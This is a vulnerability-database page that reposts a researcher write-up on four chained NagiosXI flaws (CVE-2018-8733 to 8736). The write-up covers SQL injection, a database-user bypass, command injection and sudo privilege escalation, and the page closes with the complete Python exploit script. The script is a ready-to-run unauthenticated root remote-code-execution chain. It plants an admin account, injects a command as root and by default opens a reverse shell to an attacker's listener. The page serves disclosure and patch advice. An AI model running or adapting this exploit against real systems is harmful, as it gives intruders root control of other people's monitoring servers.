Lucene search

K
seebugMy SeebugSSV:97259
HistoryMay 02, 2018 - 12:00 a.m.

Multiple Vulnerabilities in NagiosXI

2018-05-0200:00:00
My Seebug
www.seebug.org
66

EPSS

0.633

Percentile

97.9%

We found four vulnerabilities in NagiosXI, and chained them together to create a root RCE exploit, available here. Vulnerability chaining can increase the risk posed by individual vulns, it takes a village to raise a root RCE etc. etc. If you’re running NagiosXI <= 5.4.12, update.

If you perform application vulnerability assessments, odds are at some point you’ve experienced some push-back on reported vulnerabilities in the form of arm-chair threat modeling along the lines of “Well, you could only do x with y, so it’s probably not a must-fix”. This statement is probably overly dismissive in most cases, in part because it neglects the possible impact of vulnerability chaining.

Vulnerability chaining is the process of leveraging multiple vulnerabilities to achieve something beyond the scope of any individual vuln in the chain. A good examples of vulnerability chaining have been written about here. Offensive Security’s AWAE is basically a course about vulnerability chaining. Another good example of vulnerability chaining (hopefully) is the NagiosXI root RCE exploit, that you’re about to read about.

The Nagios XI exploit we’ve written leverages four vulnerabilities:

  • CVE-2018-8734 - sql injection
  • CVE-2018-8733 - authentication bypass
  • CVE-2018-8735 - command injection
  • CVE-2018-8736 - privilege escalation

First, We’ll touch on each vulnerability is isolation, followed by an outline of how we chained these web application vulns together to achieve root RCE on the NagiosXI application server. If you’d like to follow along at home, you can grab a vulnerable version of NagiosXI here:

https://assets.nagios.com/downloads/nagiosxi/5/ovf/nagiosxi-5.4.10-64.ova

And the exploit in question here:

https://www.exploit-db.com/exploits/44560/

CVE-2018-8734 - SQL injection (unauthenticated)

An unauthenticated GET to &lt;nagiosxi_host&gt;/nagiosql/admin/helpedit.php gives a response with a 302 response code which redirects back to /nagiosql/index.php. In a browser, this might appear to be normal behavior for a webapp that’s redirecting unauthenticated sessions back to auth, but an intercepting web proxy allows us to inspect the response and determine that this response also contains a moderately broken form. A quick pass at this form gives us the following form submission POST to helpedit.php, which contains a vulnerable selInfoKey1 parameter.

POST /nagiosql/admin/helpedit.php HTTP/1.1
Host: &lt;nagiosxi_host&gt;
Content-Type: application/x-www-form-urlencoded

selInfoKey1=SQLI_PAYLOAD&hidKey1=common&selInfoKey2=&hidKey2=free_variables_name&selInfoVersion=&hidVersion=&taContent=&modus=0

Since we’re performing a whitebox test of this application, we can inspect the db logs and determine exactly where the injection occurs (For a in depth look at these kinds whitebox SQLi techniques, have a look at our Unitrends 9 SQLi post). After some analysis of the database logs, we were able to confirm that selInfoKey1 is vulnerable to SQLi. However we also discovered that the database user used to issue this injectable query (nagiosql) did not have sufficient permissions to perform many of the actions that we would be interested in as an attacker such as adding users, dumping password hashes, or enumerating sessions.

[+] It’s Unauthenticated SQL injections!

[-] The DB user doesn’t have privileges to do anything too interesting.

CVE-2018-8733 - authentication bypass

The CVE description for this vulnerability is perhaps misleading, since it’s not as though we’re able to bypass authentication globally with this vulnerability. Instead, we have a similar situation to the previously discussed CVE, whereby a GET request to &lt;nagiosxi_host&gt;/nagiosql/admin/settings.php returns a form with a 302 response code. A little meddling with the returned form gives us the following POST request to settings.php:

POST /nagiosql/admin/settings.php HTTP/1.1
Host: &lt;nagiosxi_host&gt;
Content-Type: application/x-www-form-urlencoded

txtRootPath=nagiosql%2F&txtBasePath=%2Fvar%2Fwww%2Fhtml%2Fnagiosql%2F&selProtocol=http&txtTempdir=%2Ftmp&selLanguage=en_GB&txtEncoding=utf-8&txtDBserver=localhost&txtDBport=3306&txtDBname=nagiosql&txtDBuser=nagiosql&txtDBpass=n%40gweb&txtLogoff=3600&txtLines=15&selSeldisable=1

Nothing here is injectable, some of the settings don’t take, and others simply break nagiosql. What’s significant for us is the ability to set the database user account. If we could use this form to get the nagiosql db user more permissions, then maybe we could access parts of the database with our SQLi that were previously inaccessible. It turns out we can do just that; The ssh credentials to the appliance are set to root:nagiosxi by default, and these credentials are reused for the root database user.

[+] We can change the DB user account!

[+] We can maybe break the application configuration and cause a denial of service (DoS) situation!

[-] Taken alone, this might seem to be a DoS, at worst.

CVE-2018-8735 - command injection (authenticated)

This command injection vulnerability was discovered mostly through source code analysis of application .php files. This one is useful for us, since it affects a wide swath of NagiosXI versions, and runs as user ‘nagiosxi’ (as opposed to ‘apache’). After some source code analysis, testing and hand waving, we get the following vulnerable POST request, which is vulnerable to authenticated command injection:

POST /nagiosxi/backend/index.php HTTP/1.1
Host: 10.20.1.179
Content-Type: application/x-www-form-urlencoded
Cookie: nagiosxi=eb8pa9098grmgummu2pnofq3f5
Content-Length: 66

cmd=submitcommand&command=1111&command_data=$(your_command_here)

These POST requests get back responses that don’t immediately suggest command injection:

&lt;?xml version="1.0" encoding="utf-8"?&gt;
&lt;result&gt;
<code>0</code>
&lt;message&gt;OK&lt;/message&gt;
&lt;command_id&gt;12&lt;/command_id&gt;
&lt;/result&gt;

but white-box testing allows us to simply touch a file to /tmp, and then verify it’s existence out of band:

[root@nagiosxi_host tmp]# ls -l
...
-rw-r--r--  1 nagios nagios       0 Apr 13 02:21 testing
...

[+] We have command injection!

[-] It’s authenticated, and requires admin level authorization.

CVE-2018-8736 - local privilege escalation

Finally, we went looking for some local privilege escalation, for reasons which may be becoming obvious at this point. Generally, a good first place to look when looking for local privesc on a linux environment is the sudoers file. Here’s an excerpt of the Nagios /etc/sudoers file:

...
NAGIOSXI ALL = NOPASSWD:/usr/local/nagiosxi/html/includes/components/profile/getprofile.sh
NAGIOSXI ALL = NOPASSWD:/usr/local/nagiosxi/scripts/upgrade_to_latest.sh
NAGIOSXI ALL = NOPASSWD:/usr/local/nagiosxi/scripts/change_timezone.sh
NAGIOSXI ALL = NOPASSWD:/usr/local/nagiosxi/scripts/manage_services.sh *
NAGIOSXI ALL = NOPASSWD:/usr/local/nagiosxi/scripts/reset_config_perms.sh
NAGIOSXI ALL = NOPASSWD:/usr/local/nagiosxi/scripts/backup_xi.sh *
...

This is very interesting to us, especially if file permissions on those files allow write access to the nagiosxi user, which, in fact, they do:

[root@nagiosxi_host ]# ls -l /usr/local/nagiosxi/scripts/
...
-rwxr-xr-x 1 nagios nagios   1664 Dec 28  2016 change_timezone.sh
-rwxr-xr-x 1 nagios nagios   2303 Dec 28  2016 manage_services.sh
-rwxr-xr-x 1 nagios nagios   2681 Dec 28  2016 upgrade_to_latest.sh
-rwxr-xr-x 1 nagios nagios   1010 Dec 28  2016 reset_config_perms.sh
-rwxr-xr-x 1 nagios nagios   5673 Dec 28  2016 backup_xi.sh
...

So, we have a fairly straight forward instance of local privilege escalation. All that user nagiosxi needs to do to execute commands as root is place them into one of the scripts listed in the sudoers file, then invoke that script via password-less sudo.

[+] It’s local privesc! User nagiosxi can easily escalate to root.

[-] It’s local privesc and anyone running commands as nagiosxi is already an administrative user on this system.

Putting it all together!

Individually these vulnerabilities carry a lot of caveats. We can modify some application parameters unauthenticated, but it’s mostly good for breaking the application. We have SQLi but it can’t touch nagiosxi authentication data. We have command injection, but it requires an authenticated administrative session. We have local privesc, but you need command line access to the application server. It may seem counter intuitive then, that taken together, these vulnerabilities provide us with everything we need to put together an unauthenticated root remote command execution exploit!

Taking a look at the finished exploit is probably the best way to get a feel for the details, but general process is outlined below:

  • STEP 0: Validate the proper nagios version - All of the listed vulnerabilities work on NagiosXI versions (5.2.6 <= x <= 5.4) The version string can be parsed out of &lt;nagiosxi_host&gt;/nagiosxi/login.php.

  • STEP 1: Change the database user to root - Using CVE-2018-8733, we can modify the nagiosql database user to be root, granting it sufficient authorization to access nagiosxi authentication data.

  • STEP 2: Leverage SQLi to access API keys - Now that the database user has sufficient privileges, we use CVE-2018-8734 to perform a SQL injection which returns all unique API keys in the system. The application seems to ship with an administrative API key already in the database, so this is a pretty reliable option.

  • STEP 3: Use an API key to add an administrative user - This one isn’t a vulnerability, just an API which can be used to add an administrative user, if you’ve got the proper API key.

  • STEP 4: Log in - Now that we have an administrative user in the system, we can log in. At this point, we’ve effectively bypassed authentication to the nagiosxi portion of the application.

  • STEP 5: Inject a command + elevate privileges - Here, we use CVE-2018-8735, our command injection vulnerability, to execute a command. We could establish a low priv reverse shell then elevate privileges once we’ve got a session on the application server, but our PoC does it all in one go, by placing the desired command into an ad hoc privesc script:

cp /usr/local/nagiosxi/scripts/reset_config_perms.sh /usr/local/nagiosxi/scripts/reset_config_perms.sh.bak &&
echo "{your_command_here}" &gt; /usr/local/nagiosxi/scripts/reset_config_perms.sh &&
sudo /usr/local/nagiosxi/scripts/reset_config_perms.sh &&
mv /usr/local/nagiosxi/scripts/reset_config_perms.sh.bak /usr/local/nagiosxi/scripts/reset_config_perms.sh

This script leverages CVE-2018-8736 by placing the desired command into /usr/local/nagiosxi/scripts/reset_config_perms.sh, then invoking that script with a password-less sudo. The first and last lines backup and restore the original script, respectively. It’s a fairly long command, but it works consistently here.

Conclusions

We’re done! Following the steps above, we were able to convert 4 vulnerabilities with a lot of caveats and mixed severities into 1 root RCE with no caveats. What conclusions should we draw from this? I can think of a couple.

  • Vulnerabilities exist in the larger context of an application, not in isolation, and they should be treated as such. Failure to remediate seemingly low risk vulnerabilities can have consequences.

  • If you’re running NagiosXI version (5.2.6 <= x <= 5.4.12), you should update.


                                                # Exploit Title: Nagios XI 5.2.[6-9], 5.3, 5.4 Chained Remote Root
# Date: 4/17/2018
# Exploit Authors: Benny Husted, Jared Arave, Cale Smith
# Contact: https://twitter.com/iotennui || https://twitter.com/BennyHusted || https://twitter.com/0xC413
# Vendor Homepage: https://www.nagios.com/
# Software Link: https://assets.nagios.com/downloads/nagiosxi/5/ovf/nagiosxi-5.4.10-64.ova
# Version: Nagios XI versions 5.2.[6-9], 5.3, 5.4
# Tested on: CentOS 6.7
# CVE: CVE-2018-8733, CVE-2018-8734, CVE-2018-8735, CVE-2018-8736
 
import httplib
import urllib
import ssl
import sys
import base64
import random
import time
import string
import json
import re
from optparse import OptionParser
 
# Print some helpful words:
print """
###############################################################################
Nagois XI 5.2.[6-9], 5.3, 5.4 Chained Remote Root
This exploit leverages the vulnerabilities enumerated in these CVES:
[ CVE-2018-8733, CVE-2018-8734, CVE-2018-8735, CVE-2018-8736 ]
 
More details here:
http://blog.redactedsec.net/exploits/2018/04/26/nagios.html
 
Steps are as follows:
 
0. Determine Version
1. Change the database user to root:nagiosxi
2. Get an API key w/ SQLi
3. Use the API Key to add an administrative user
4. Login as that administrative user
5. Do some authenticated RCE w/ privesc
6. Cleanup.
###############################################################################
"""
# TODO: Figure out what port it's running on, 80 or 443.
 
def parse_apikeys(resp):
  begin_delim = 'START_API:'
  end_delim   = ':END_API'
 
  start_indecies = [m.start() for m in re.finditer(begin_delim, resp)]
  end_indecies = [m.start() for m in re.finditer(end_delim, resp)]
 
  unique_keys = []
 
  for i, index in enumerate(start_indecies):
    start_index = index + len(begin_delim)
    end_index = end_indecies[i]
    key = resp[start_index:end_index]
    if not key in unique_keys:
      unique_keys.append(key)
 
  return unique_keys
 
def parse_nsp_str(resp):
    begin_delim = 'var nsp_str = "'
    end_delim = '";\n'
 
    start_index = resp.find(begin_delim) + len(begin_delim)
    resp = resp[start_index:]
    end_index = resp.find(end_delim)
 
    return resp[:end_index]
 
def parse_cmd_id(resp, cmdname):
 
    begin_delim = "'"
    end_delim = "', '{0}')\"><img src='images/cross.png' alt='Delete'>".format(cmdname)
 
    end_idx = resp.find(end_delim)
 
    resp = resp[:end_idx]
    resp = resp[resp.rfind(begin_delim)+1:]
 
    return resp
 
def parse_nagiosxi(resp):
    resp = str(resp)
    begin_delim = 'Set-Cookie: nagiosxi='
    end_delim = ';'
 
  # find the last instance of the nagiosxi cookie...
    start_index = resp.rfind(begin_delim) + len(begin_delim)
    resp = resp[start_index:]
    end_index = resp.find(end_delim)
 
    return resp[:end_index]
 
def parse_version(resp):
    resp = str(resp)
    begin_delim = 'name="version" value="'
    end_delim = '"'
 
    start_index = resp.rfind(begin_delim) + len(begin_delim)
    resp = resp[start_index:]
    end_index = resp.find(end_delim)
 
    return resp[:end_index]
def change_db_user(usr, pwd, step):
 
    url = '/nagiosql/admin/settings.php'
    headers = {'Host' : RHOST,
               'Content-Type' : 'application/x-www-form-urlencoded'}
 
    params = urllib.urlencode({
    'txtRootPath':'nagiosql',
    'txtBasePath':'/var/www/html/nagiosql/',
    'selProtocol':'http',
    'txtTempdir':'/tmp',
    'selLanguage':'en_GB',
    'txtEncoding':'utf-8',
    'txtDBserver':'localhost',
    'txtDBport':3306,
    'txtDBname':'nagiosql',
    'txtDBuser': usr,
    'txtDBpass':pwd,
    'txtLogoff':3600,
    'txtLines':15,
    'selSeldisable':1
    })
 
    print "[+] STEP {0}: Setting Nagios QL DB user to {1}.".format(step, usr)
    print "[+] STEP {0}: http://{1}{2}".format(step, RHOST, url)
 
    con = httplib.HTTPConnection(RHOST, 80)
    con.set_debuglevel(0)
    con.request("POST", url, params, headers=headers)
 
    resp = con.getresponse()
    con.close()
 
    return resp
 
# Disable SSL Cert validation
if hasattr(ssl, '_create_unverified_context'):
            ssl._create_default_https_context = ssl._create_unverified_context
 
# Parse command line args:
usage = "Usage: %prog -r <appliance_ip> -l <listener_ip> -p <listener_port>\n"\
        "       %prog -r <appliance_ip> -c 'touch /tmp/foooooooooooo'"
 
parser = OptionParser(usage=usage)
parser.add_option("-r", '--RHOST', dest='rhost', action="store",
          help="Target Nagios XI host")
parser.add_option("-l", '--LHOST', dest='lhost', action="store",
                  help="Host listening for reverse shell connection")
parser.add_option("-p", '--LPORT', dest='lport', action="store",
                  help="Port on which nc is listening")
parser.add_option("-c", '--cmd', dest='cmd', action="store",
          help="Run a custom command, no reverse shell for you.")
 
(options, args) = parser.parse_args()
 
if not options.rhost:
    parser.error("[!] No remote host specified.\n")
    parser.print_help()
    sys.exit(1)
 
RHOST = options.rhost
LHOST = options.lhost
LPORT = options.lport
if options.cmd:
    cmd = options.cmd
else:
    cmd = 'bash -i >& /dev/tcp/{0}/{1} 0>&1 &'.format(LHOST, LPORT)
 
################################################################
# REQUEST ZERO: GET NAGIOS VERSION
################################################################
 
url0 = '/nagiosxi/login.php'
headers0 = {'Host' : RHOST,
            'Content-Type' : 'application/x-www-form-urlencoded'}
 
print "[+] STEP 0: Get Nagios XI version string."
print "[+] STEP 0: http://{0}{1}".format(RHOST, url0)
 
con0 = httplib.HTTPConnection(RHOST, 80)
con0.set_debuglevel(0)
con0.request("POST", url0, headers=headers0)
r0 = con0.getresponse()
 
r0_resp = r0.read()
version = parse_version(r0_resp)
ver_int = int(version.split('.')[1])
 
con0.close()
print "[+] STEP 0: Nagios XI verions is: {0}".format(version)
 
################################################################
# REQUEST ONE: CHANGE THE DATABASE USER TO ROOT
################################################################
 
 
r1 = change_db_user('root', 'nagiosxi', '1')
 
if r1.status == 302:
    print "[+] STEP 1: Received a 302 Response. That's good!"
else:
    print "[!] STEP 1: Received a {0} Response. That's bad.".format(str(r1.status))
    exit()
 
 
################################################################
# REQUEST TWO: GET THE API KEY USING SQLi
################################################################
 
print ""
url2 = '/nagiosql/admin/helpedit.php'
headers2 = {'Host' : RHOST,
                        'Content-Type' : 'application/x-www-form-urlencoded'}
 
# Versions of NagiosXI < 5.3.0 use 'backend_ticket', not 'api_key'.
sqli_param = "api_key" if (ver_int >= 3) else "backend_ticket"
print sqli_param
 
params2 = urllib.urlencode({
    'selInfoKey1':'c\'UNION SELECT CONCAT(\'START_API:\',{0},\':END_API\') FROM nagiosxi.xi_users-- '.format(sqli_param),
    'hidKey1':'common',
    'selInfoKey2':'free_variables_name',
    'hidKey2':'',
    'selInfoVersion':'',
    'hidVersion':'',
    'taContent':'',
    'modus':0,
    '':''
    })
 
print "[+] STEP 2: Exploiting SQLi to extract user API keys."
print "[+] STEP 2: http://{0}{1}".format(RHOST, url2)
 
con2 = httplib.HTTPConnection(RHOST, 80)
con2.set_debuglevel(1)
con2.request("POST", url2, params2, headers=headers2)
r2 = con2.getresponse()
 
if r2.status == 302:
    print "[+] STEP 2: Received a 302 Response. That's good!"
else:
    print "[!] STEP 2: Received a {0} Response. That's bad.".format(str(r2.status))
    exit()
 
con2.close()
 
r2_resp = r2.read()
api_keys = parse_apikeys(r2_resp)
random.shuffle(api_keys)
 
if len(api_keys) > 0:
    print "[+] Found {0} unique API keys. Cool:".format(str(len(api_keys)))
    for key in api_keys:
        print "[+] {0}".format(key)
else:
    print "[!] No API keys found! Oh no. Exiting..."
    exit()
 
 
################################################################
# REQUEST THREE: USE THE API KEY TO ADD AN ADMIN USER
################################################################
 
print ""
url3 = '/nagiosxi/api/v1/system/user?apikey=XXXAPIKEYLIVESHEREXXX&pretty=1'
headers3 = {'Host' : RHOST,
                        'Content-Type' : 'application/x-www-form-urlencoded'}
 
# Generate the sketchiest username possibe :D
sploit_username = ''.join(random.choice(string.ascii_uppercase + string.ascii_lowercase) for _ in range(16))
# And also the worlds best password
sploit_password = ''.join(random.choice(string.ascii_uppercase + string.ascii_lowercase) for _ in range(16))
 
params3 = urllib.urlencode({
    'username':sploit_username,
    'password':sploit_password,
    'name':'Firsty Lasterson',
    'email':'{0}@localhost'.format(sploit_username),
    'auth_level':'admin',
    'force_pw_change':0
    })
 
print "[+] STEP 3: Using API Keys to add an administrative user..."
 
found_it = False
for i, key in enumerate(api_keys):
    url3_try = url3.replace('XXXAPIKEYLIVESHEREXXX', key)
    print "[+] STEP 3: http://{0}{1}".format(RHOST, url3_try)
 
    con3 = httplib.HTTPConnection(RHOST, 80)
    con3.set_debuglevel(0)
    con3.request("POST", url3_try, params3, headers=headers3)
    r3 = con3.getresponse()
    r3_contents = r3.read()
 
    if r3.status == 200:
        print "[+] STEP 3: Received a 200 Response. That's good!"
        if "was added successfully" in r3_contents:
            print "[+] STEP 3: User account username:{0} passwd: {1} was added successfully!".format(sploit_username, sploit_password)
            print "[+] STEP 3: Moving to Step 4...."
            found_it = True
            con3.close()
            break
        else:
            "[!] STEP 3: API_KEY access was denied. That's bad."
            continue
    else:
        print "[!] STEP 3: Received a {0} Response. That's bad.".format(str(r2.status))
        continue
 
        print "[!] STEP 3: Failed to add a user. Try some more API keys..."
    con3.close()
 
if found_it == False:
    print "[!] STEP 3: Step 3 failed.... oh no!"
 
################################################################
# REQUEST FOUR: LOGIN AS ADMINISTRATIVE USER
################################################################
 
print ""
print "[+] STEP 4.1: Authenticate as user TODO."
print "[+] STEP 4.1: Get NSP for login..."
url4p1 = '/nagiosxi/login.php'
headers4p1 = {'Host' : RHOST}
params4p1 = ""
 
con4p1 = httplib.HTTPConnection(RHOST, 80)
con4p1.set_debuglevel(0)
con4p1.request("POST", url4p1, params4p1, headers=headers4p1)
r4p1 = con4p1.getresponse()
 
r4p1_resp = r4p1.read()
 
login_nsp = parse_nsp_str(r4p1_resp)
login_nagiosxi = parse_nagiosxi(r4p1.msg)
 
con4p1.close()
 
print "[+] STEP 4.1: login_nsp = {0}".format(login_nsp)
print "[+] STEP 4.1: login_nagiosxi = {0}".format(login_nagiosxi)
 
# 4.2 ---------------------------------------------------------------
 
print "[+] STEP 4.2: Authenticating..."
 
url4p2 = '/nagiosxi/login.php'
headers4p2 = {'Host' : RHOST,
                          'Content-Type' : 'application/x-www-form-urlencoded',
                          'Cookie' : 'nagiosxi={0}'.format(login_nagiosxi)}
params4p2 = urllib.urlencode({
                        'nsp':login_nsp,
                        'page':'auth',
                        'debug':'',
                        'pageopt':'login',
                        'username':sploit_username,
                        'password':sploit_password,
                        'loginButton':'',
                        })
 
con4p2 = httplib.HTTPConnection(RHOST, 80)
con4p2.set_debuglevel(0)
con4p2.request("POST", url4p2, params4p2, headers=headers4p2)
r4p2 = con4p2.getresponse()
r4p2_resp = r4p2.read()
authed_nagiosxi = parse_nagiosxi(r4p2.msg)
con4p2.close()
 
print "[+] STEP 4.2: authed_nagiosxi = {0}".format(authed_nagiosxi)
 
# 4.3 ---------------------------------------------------------------
 
print "[+] STEP 4.3: Getting an authed nsp token..."
 
url4p3 = '/nagiosxi/index.php'
headers4p3 = {'Host' : RHOST,
                          'Content-Type' : 'application/x-www-form-urlencoded',
                          'Cookie' : 'nagiosxi={0}'.format(authed_nagiosxi)}
params4p3 = ""
 
con4p3 = httplib.HTTPConnection(RHOST, 80)
con4p3.set_debuglevel(0)
con4p3.request("POST", url4p3, params4p3, headers=headers4p3)
r4p3 = con4p3.getresponse()
r4p3_resp = r4p3.read()
authed_nsp = parse_nsp_str(r4p3_resp)
con4p3.close()
 
print "[+] STEP 4.3: authed_nsp = {0}".format(authed_nsp)
 
################################################################
# REQUEST FIVE: Excute command
################################################################
 
print "[+] STEP 5: Executing command as root!..."
url5 = '/nagiosxi/backend/index.php?'
headers5 = {'Host' : RHOST,
            'Content-Type' : 'application/x-www-form-urlencoded',
            'Cookie' : 'nagiosxi={0}'.format(authed_nagiosxi)}
 
privesc_cmd = 'cp /usr/local/nagiosxi/scripts/reset_config_perms.sh /usr/local/nagiosxi/scripts/reset_config_perms.sh.bak && echo "{0}" > /usr/local/nagiosxi/scripts/reset_config_perms.sh && sudo /usr/local/nagiosxi/scripts/reset_config_perms.sh && mv /usr/local/nagiosxi/scripts/reset_config_perms.sh.bak /usr/local/nagiosxi/scripts/reset_config_perms.sh'.format(cmd)
privesc_cmd = "$(" + privesc_cmd + ")"
 
url5 = url5 + urllib.urlencode({
                                'cmd':'submitcommand',
                                'command':'1111',
                                'command_data':privesc_cmd
                                })
 
con5 = httplib.HTTPConnection(RHOST, 80)
con5.set_debuglevel(0)
con5.request("POST", url5, headers=headers5)
r5 = con5.getresponse()
 
r5_resp = r5.read()
con5.close()
 
if r5.status == 200:
    print "[+] STEP 5: Received a 200 Response. That's good!"
else:
    print "[!] STEP 5: Received a {0} Response. That's bad.".format(str(r5.status))
    exit()
 
print "[+] STEP 5: Successfully ran command. We're done?"
 
 
################################################################
# REQUEST SIX: Cleanup
################################################################
 
print "[+] STEP 6: Cleanup time"
 
r1 = change_db_user('nagiosql', 'n@gweb', '6')
 
if r1.status == 302:
    print "[+] STEP 6: Received a 302 Response. That's good!"
else:
    print "[!] STEP 6: Received a {0} Response. That's bad.".format(str(r1.status))
    exit()
 
################################################################
# Solution: Update to a version of NagiosXI >= 5.4.13
################################################################